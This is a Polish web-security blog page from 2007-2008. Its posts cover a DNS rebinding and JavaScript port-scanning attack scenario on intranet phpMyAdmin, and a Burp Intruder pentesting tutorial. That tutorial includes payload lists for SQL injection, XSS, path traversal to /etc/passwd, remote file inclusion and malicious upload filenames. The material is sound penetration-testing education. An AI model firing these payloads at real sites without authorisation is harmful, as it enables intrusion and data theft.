Praca - bezpieczeństwo aplikacji PHP

Łukasz Pilorz, 27 June 2008

Jeżeli

  • doskonale znasz popularne metody ataków na serwisy internetowe
  • biegle programujesz w PHP
  • pasjonują Cię testy penetracyjne oraz analiza kodu aplikacji webowych

- skontaktuj się ze mną.

A tymczasem, na rozgrzewkę - pierwszej osobie, która poprawnie opisze, w jaki sposób poniższy skrypt broni się przed XSS, i zaprezentuje działające demo (IE7, FF3) w jaki sposób można to zabezpieczenie obejść, przesyłam książkę (do uzgodnienia - ostatnio “Silence on the Wire”):
http://lukasz.pilorz.net/testy/hackme2/

Aktualizacja: irk4z przesłał już rozwiązanie, a kod skryptu wrzuciłem na http://lukasz.pilorz.net/testy/hackme2/index.phps

JS Portscanning + DNS Rebinding

Łukasz Pilorz, 15 December 2007

DNS Rebinding polega na podmianie adresu IP domeny pomiędzy kolejnymi żądaniami skierowanymi do niej. W ten sposób można uzyskać dostęp na przykład do zasobów sieci lokalnej, w której znajduje się ofiara. W połączeniu z javascriptowym skanowaniem portów i fingerprintingiem aplikacji pozwala stworzyć ciekawe scenariusze ataku. Przykład:

  • użytkownik łączy się ze stroną http://lukasz.pilorz.net z sieci swojej firmy (w sieci lokalnej ma dostęp do aplikacji phpMyAdmin niedostępnej z zewnątrz, i w związku z tym niechronionej hasłem)
  • JavaScript sprawdza czy na którymś hoście w sieci lokalnej otwarty jest port 80 (może to być również localhost), a dla otwartych portów próbuje znaleźć popularne aplikacje (ze względu na same-origin JS nie ma dostępu read/write, ale może próbować np. wczytać obrazki ze znanych ścieżek)
  • po znalezieniu phpMyAdmina, JS w ukrytej ramce otwiera skrypt z domeny dnsrebinding.securityexploits.com
  • skrypt PHP na dnsrebinding.securityexploits.com zmienia wpis DNS dla tej domeny na adres przekazany mu w parametrze (np. 127.0.0.1)
  • JS na dnsrebinding.securityexploits.com wykorzystuje LiveConnect do otwarcia socketa do tej samej domeny, ale IP jest już zmienione na adres sieci lokalnej
  • JS ma teraz pełny dostęp read/write do portu 80 (np. na 127.0.0.1), może dowolnie kształtować żądania HTTP (metody, nagłówki, treść)
  • JS wczytuje token potrzebny do wykonania ataku CSRF na phpMyAdmina
  • JS ukryty na http://lukasz.pilorz.net może teraz wykonywać dowolne zapytania SQL na phpMyAdminie w sieci lokalnej ofiary

Oczywiście skrypt może posiadać sygnatury dla większej ilości aplikacji niż tylko phpMyAdmin, i w ten sposób zwiększać szanse powodzenia ataku. Poza CSRF, skaner mógłby też po prostu wczytywać zawartość niechronionych stron w sieci lokalnej i wysyłać na zewnętrzny serwer (we wcześniejszym wyszukaniu odpowiednich adresów może pomóc Fierce). Inne zastosowanie to ominięcie firewalli i lokalny dostęp na przykład do portu 139.

Powyższy scenariusz bazuje na ataku DNS rebinding z wykorzystaniem LiveConnect - ta metoda została już zablokowana, dlatego mogę opublikować praktyczny przykład:
http://lukasz.pilorz.net/testy/dnsrebinding/scanner.phps - skaner w JS
http://lukasz.pilorz.net/testy/dnsrebinding/phpmyadmin_exec.phps - atak DNS rebinding na phpMyAdmina

Więcej informacji można znaleźć w tekstach na których bazowałem tworząc powyższy skrypt:

Kolejna notka (czwarta część cyklu o testach, dotycząca ataków na mechanizmy logowania i zmiany hasła) pojawi się dopiero w Nowym Roku.

Testowanie bezpieczeństwa aplikacji internetowych - część 3: Słowniki wartości testowych

Łukasz Pilorz, 8 October 2007

Słowniki wartości testowych, zastosowanie Burp Intruder

Podstawowym i najciekawszym elementem testów bezpieczeństwa serwisów internetowych jest symulowanie praktycznych ataków na aplikację. Podobnie jak w przypadku analizy kodu źródłowego, nie istnieje narzędzie, które potrafiłoby całkowicie wyręczyć w tym zadaniu człowieka, jednak bez przynajmniej częściowej automatyzacji trudno byłoby rzetelnie przeprowadzić ten etap testów. W rzeczywistym ataku wystarcza często jedna luka, na znalezienie której nie obowiązują żadne limity czasowe, podczas gdy celem symulacji jest znalezienie wszystkich (w praktyce: większości) błędów w stosunkowo krótkim czasie.

Automatyzacja testów wymaga przygotowania zestawów wartości reprezentujących poszczególne próby ataków. Słowniki takich wartości są częścią wielu współczesnych skanerów aplikacji webowych, jednak ponieważ skanery nie są w stanie określić kontekstu i znaczenia poszczególnych parametrów oraz analizować rezultatów, często bywają niemal bezużyteczne. Proponuję zamiast tego wykorzystać wiedzę o aplikacji zdobytą w trakcie jej analizy i przygotować osobne słowniki dla poszczególnych typów parametrów. Wymaga to oczywiście znacznie więcej czasu niż uruchomienie skanera, ale myślę że warto.

Przykład słownika i jednocześnie zastosowania narzędzia Burp Intruder będzie oparty o parametr wyboru podstrony serwisu. Metoda określenia jego wartości może przybrać różne formy, między innymi:

  • http://example.com/index.php?id=123
  • http://example.com/index.php?strona=nazwa_podstrony
  • http://example.com/index.php?strona=nazwa_podstrony.html
  • http://example.com/index.php/nazwa_podstrony/
  • http://example.com/123/
  • http://example.com/nazwa_postrony/
  • http://example.com/nazwa_podstrony.html
  • http://example.com/nazwa_podstrony.php

W pierwszych czterech przypadkach jest w miarę oczywiste, że wybór podstrony bazuje na wartości pewnej zmiennej, w pozostałych jednak trudno powiedzieć, czy nie zostały wykorzystane reguły mod_rewrite. Typowy skaner “zauważy” i sprawdzi prawdopodobnie tylko trzy pierwsze opcje, często nie mamy też pewności jakiego typu podatności jest faktycznie w stanie wykryć.

Spróbujmy wykorzystać Burp Suite do przeprowadzenia własnego zestawu testów. Ustawiamy cel w zakładce intruder->target, a następnie w intruder->position wybieramy typ ataku “sniper” i wstawiamy żądanie HTTP z identyfikatorem podstrony zastąpionym przez §1§, na przykład:
GET /index.php?id=§1§ HTTP/1.1
Host: example.com

(można też wykorzystać odpowiednie żądanie zapisane w spiderze).

Teraz należy uzupełnić listę wartości, które będą wstrzykiwane w miejsce §1§. Proponuję w intruder->payloads wybrać “preset list” z następującym zestawem (najłatwiej jest zapisać go w pliku):
1
2
3
4
0
-1
1'
1"
1%BF
1%C5%BC
1 OR 1=1
1 OR 1=1/*
1||1=1
1||1=1/*
1test
1test<script>
1test<b>
1test'">test
1test'"test
test
index
index.php
index.php%00
../index
../index.php
../index.php%00
../../index
../../index.php
../../index.php%00
/etc/passwd
/etc/passwd%00
../../../../../../etc/passwd
../../../../../../etc/passwd%00
http://lukasz.pilorz.net/testy/inc/inc.php
http://lukasz.pilorz.net/testy/inc/inc.php%00
http://lukasz.pilorz.net/testy/inc/inc.php?
http://lukasz.pilorz.net/testy/inc/inc.html
http://lukasz.pilorz.net/testy/inc/inc.txt
http://lukasz.pilorz.net/testy/inc/inc
php://input

Kilka pierwszych wartości ma na celu sprawdzenie, jak wygląda odpowiedź serwera dla poprawnych lub nieistniejących identyfikatorów, kolejne powinny zweryfikować czy zmienna jest rzutowana na typ liczbowy, a także wykryć ewentualną podatność na SQL injection lub XSS. Druga połowa listy jest przeznaczona dla sytuacji, gdy parametr określa nazwę dołączanego pliku podstrony (ostatnia wartość wymaga dodatkowego testu z kodem PHP w treści żądania POST). Oczywiście powyższy zestaw można modyfikować i uzupełniać własnymi testami (na przykład testy z “1″ na początku powtarzając dla nieistniejącego identyfikatora). Pomocna może być funkcja grep (w zakładce opcji), dzięki której tablica wyników będzie nieco bardziej czytelna.

Po wypełnieniu listy wartości wybieramy w głównym menu pozycję intruder->start, czekamy krótką chwilę i możemy przeglądać wyniki, czyli odpowiedzi serwera na kolejne żądania (dwuklik na pierwszym wierszu w tabeli). Rezultat poszczególnych prób można czasem rozpoznać od razu po rozmiarze odpowiedzi serwera. W przeciwieństwie do testów z użyciem skanera, analiza wyników otrzymanych w Intruderze wymaga przynajmniej ogólnej wiedzy o atakach na aplikacje internetowe.

Dalszy ciąg tego tekstu oraz jego następne części będą zawierać podstawowe informacje o rozpoznawaniu podatności na poszczególne ataki, propozycje słowników dla określonych typów parametrów oraz przykłady luk, które istniały w rzeczywistych aplikacjach internetowych.

Ataki związane z uploadem plików

Typowe zagrożenia:

  • umieszczenie na serwerze pliku z kodem wykonywalnym, do którego użytkownik może się odwołać bezpośrednio (test.php)
  • umieszczenie na serwerze pliku z kodem wykonywalnym, do którego użytkownik może się odwołać wykorzystując lukę pozwalającą na dołączenie lokalnego pliku (test.jpg + http://example.com/index.php?id=upload/test.jpg)
  • umieszczenie na serwerze pliku z kodem HTML, JavaScript, Flash, itp. (test.html)
  • nadpisanie istniejącego pliku (libs/db.inc)
  • zapisanie pliku w innym katalogu niż przewidziany (../../test.jpg)
  • nadpisanie tablicy $GLOBALS (PHP<=4.4.0, PHP<=5.0.5, info)
  • konfiguracja serwera umożliwiająca wykonanie kodu PHP/SSI w dowolnym pliku (xbithack, pliki zapisywane jako wykonywalne)
  • manipulowanie zawartością w celu wymuszenia na przeglądarce innego typu MIME niż przewidziany

Zabezpieczenia obejmują zwykle zmianę lub weryfikację nazwy pliku, rozszerzenia (uwaga na pliki z wieloma rozszerzeniami), typu MIME, a rzadziej - zawartości. Innym prostym rozwiązaniem (nie zawsze wystarczającym) jest wykorzystanie dyrektywy ForceType w konfiguracji Apache dla danego katalogu. Przy wyborze metody zabezpieczeń warto współpracować z administratorami serwera, aby uniknąć rozbieżności pomiędzy konfiguracją a zagrożeniami przewidzianymi w aplikacji.

Rozpoznanie podatności sprowadza się najczęściej do sprawdzenia, czy przy odczycie pliku uruchamiany jest kod PHP, lub czy przeglądarka interpretuje zwróconą zawartość jako HTML. Proponowany słownik wstrzykiwanych nazw plików:
test
test.test
test.jpg
test.jpg.php
test.php.jpg
test.php.php
test.php.tst
test.php
test.PhP
test.PhP.tst
test.php3
test.php4
test.php5
test.phtml
test.shtml
test.html
test.inc
test.cgi
../test.jpg
/tmp/test.jpg
test/test.jpg
test.php%00.jpg
test.jpg%00.php
test<script>alert(0)</script>.jpg

Listy testowych zawartości plików nie opublikuję w najbliższym czasie, ale w razie uzasadnionej potrzeby jej posiadania zapraszam do kontaktu mailowego (lukasz na pilorz.net).

Luki związane z uploadem są jedną z najprostszych dróg ataku. Można je napotkać w ogromnej ilości niewielkich, amatorskich serwisów, ale czasem także w poważnych projektach. Serwis Secunia zapytany o php upload zwraca ponad 250 wyników, z których znaczna część dotyczy właśnie tego typu błędów.

Prostym przykładem nieprawidłowego zabezpieczenia jest wykorzystanie następującego kodu, który pojawił się na jednym z portali poświęconych programowaniu:
$seg = explode(".", $nazwa_pliku);
if($seg[1] == "jpg") {//OK
//...

Pozwolę sobie przytoczyć również dwa nieco nietypowe przykłady takich luk (pozwalających na wykonanie własnego kodu PHP) pochodzące sprzed kilku tygodni z serwisów DobraOpcja.pl i Jogger.pl. W pierwszym przypadku walidacja typu/rozszerzenia pliku odbywała się wyłącznie we Flashu, po stronie przeglądarki. Zagrożenia wynikające z zastosowania technologii Flash są bardzo podobne (a w przypadku XSS nawet większe) do powszechnie znanych problemów związanych z JavaScriptem. Forma, w jakiej występują pliki SWF, może sprawiać wrażenie utrudnienia przy ataku, ale przechwycenie i modyfikacja żądań HTTP wysyłanych przez Flash jest równie prosta, jak dla XMLHttpRequest w skryptach JavaScript (jedyna różnica: w systemie Windows należy ustawić Burp Proxy dla Internet Explorera, a nie przeglądarki z której korzystamy).

Inna sytuacja miała miejsce w Joggerze, który znany jest z solidnych zabezpieczeń oraz dużej grupy użytkowników interesujących się bezpieczeństwem aplikacji internetowych. Mechanizm uploadu plików w tym serwisie posiadał ograniczenie na dopuszczalne rozszerzenia, a także przewidywał możliwość wstrzyknięcia bajtu zerowego w nazwie, jednak w wyniku prostego błędu programistycznego warunek ten nie był w pełni egzekwowany. W efekcie możliwa była zmiana nazwy pliku na zawierającą bajt zerowy i wstawienie dowolnego rozszerzenia pliku. Nawet najlepszym zdarzają się pomyłki, dlatego istotne jest by kluczowe funkcje były testowane z wykorzystaniem możliwie pełnego słownika.

Ciąg dalszy wkrótce.

Dziękuję Robertowi Wróblowi za uzupełnienie listy nazw plików oraz materiały do tej i kolejnych części tekstu.

Rails 2.0: wbudowana ochrona przed CSRF

Łukasz Pilorz, 7 October 2007

Niedawno narzekałem na RoR, a tymczasem w Rails 2.0 formularze są domyślnie chronione przed CSRF, zmienił się filtr zapobiegający XSS oraz dodano obsługę ciasteczek HTTPonly. Zwłaszcza pierwsza z tych zmian może znacznie zwiększyć bezpieczeństwo aplikacji. Polecam też Ruby on Rails Security Cheatsheet.

Jeśli ktoś czeka na trzecią część tekstu o testowaniu bezpieczeństwa aplikacji internetowych, to uspokajam: jest gotowa i czeka tylko na odpowiedź jednego ze wspomnianych w niej serwisów.

Czarny tydzień Google

Łukasz Pilorz, 29 September 2007

W tym tygodniu padło na Google. W ciągu kilku dni opublikowane zostały informacje o pięciu lukach w aplikacjach tej firmy. Z ciekawości wyszukałem informacje o podobnych zgłoszeniach w tym roku:

09/2007
http://sirdarckcat.blogspot.com/2007/09/google-mashups-vulnerability.html
http://xs-sniper.com/blog/2007/09/28/all-your-google-docs-are-belong-to-us/
http://www.thespanner.co.uk/2007/09/27/google-adsense-csrf-hole/
http://hackademix.net/2007/09/24/googhole-xss-pwning-gmail-picasa-and-almost-200k-customers/
http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
http://blog.beford.org/?p=3
http://websecurity.com.ua/1368/
http://sla.ckers.org/forum/read.php?3,15534,15534

08/2007
http://ha.ckers.org/blog/20070817/xss-hole-in-google-apps-is-expected-behavior/
http://sla.ckers.org/forum/read.php?4,15136,15136

06/2007
http://websecurity.com.ua/1049/

05/2007
http://www.0×000000.com/index.php?i=319
http://www.earlofgrey.com/blog/major-google-security-flaw-to-remove-sites-from-the-index.html

04/2007
http://sla.ckers.org/forum/read.php?2,10960

03/2007
http://mybeni.rootzilla.de/mybeNi/2007/gmail_information_disclosure/

02/2007
http://www.watchfire.com/news/releases/02-21-07.aspx
http://ha.ckers.org/blog/20070222/google-desktop-the-saga-continues/
http://sla.ckers.org/forum/read.php?2,6505,6562
http://sla.ckers.org/forum/read.php?3,44,page=40#msg-7125
http://sla.ckers.org/forum/read.php?3,44,page=40#msg-7126

01/2007
http://googlified.com/2007follow-up-on-the-gmail-bug/
http://blogoscoped.com/archive/2007-01-14-n21.html

Czy jest to powód do unikania produktów Google? Jeżeli nawet tak, to nie ze względu na powyższe błędy (które były łatane w błyskawicznym tempie), ale raczej dlatego, że stają się one aplikacjami powszechnego użytku - a popularność często oznacza większe ryzyko ataku.

Next Page »